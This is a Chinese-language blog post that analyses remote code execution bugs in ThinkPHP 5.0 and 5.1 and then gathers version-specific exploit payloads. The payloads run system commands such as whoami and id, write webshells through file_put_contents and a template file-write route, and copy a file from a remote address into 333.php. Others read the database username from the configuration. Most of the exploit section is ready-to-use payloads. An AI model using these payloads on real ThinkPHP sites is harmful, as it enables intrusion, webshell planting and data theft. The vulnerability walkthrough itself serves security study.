ThinkPHP v5 RCE漏洞分析与收集
前言
具体分析 ThinkPHPv5 RCE改造 | Y0ng的博客 (yongsheng.site)
Thinkphp5 rce分两个大版本
- ThinkPHP 5.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
方法主要分为两种
1.Request中的filter变量覆盖导致RCE 分开启debug和不开启debug
两种情况
2.路由控制不严谨导致的RCE
先分析第一种rce 即 method __contruct导致的rce
这里用5.0.5分析
复现
poc
http://127.0.0.1/public/index.php/index/index/?s=index/index |
开启debug
当 application\config.php 中的app_debug = true
单入口文件
进入run()
方法
首先初始化$request
这个数组,self::initCommon()
;初始化公共配置。未设置调度信息则进行 URL 路由检测 self::routeCheck($request, $config)
默认进入。
跟进 routeCheck()
默认self::$routeCheck
self::$routemust
为空,整体流程看图
跟进 Route::check
进入到Request.php中的method()方法中
首先进入elseif分支
,接着 isset($_POST[Config::get('var_method')])
, var_method 默认为 _method
并执行 $this->{$this->method}($_POST)
语句。因此通过指定_method
即可完成 对该类的任意方法的调用
,其传入对应的参数即对应的$_POST数组。
这里利用的地方是 __construct()
所以当我们post传入s=whoami&_method=__construct&method=POST&filter[]=system
时
_method触发__construct
,filter覆盖参数为system
,method覆盖为POST
然后一路返回到run()
因为此时开启debug,进入if 进入$request->param()
param()
进入input()
函数
array_walk_recursive()
对数组中的每个元素应用用户自定义函数,也就是说 调用filterValue()
未开启debug
5.0.x 跟 5.1.x 代码差异较大
所以payload 也不尽相同
以 参考 为例子
流程
$this->method
可控导致可以调用__contruct()覆盖Request类的filter字段
,然后App::run()
执行判断debug来决定是否执行 $request->param()
,并且还有$dispatch['type']
等于controller
或者 method
时会执行 $request->param()
,而$request->param()
会进入到 input()
方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce
收集
基于__construct的payload大部分出现在 5.0.x
及低版本的 5.1.x
中。
5.0&5.0.1-5.0.7
与debug无关
命令执行rce
POST |
写入木马getshell
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert |
5.0.8-5.0.13
与debug无关
命令执行rce
POST |
写入木马getshell
POST |
5.0.14-5.0.23
默认debug=flase,需要开启debug才能命令执行。
POST |
写入木马getshell
POST |
有captcha路由时无需debug=true
POST |
5.0.24
最后一个版本RCE被修复
未开启强制路由命令执行
[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
收集
命令执行
5.0.x
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd |
写shell
5.0.x
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27) |
5.1.x
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> |
其他
5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息 |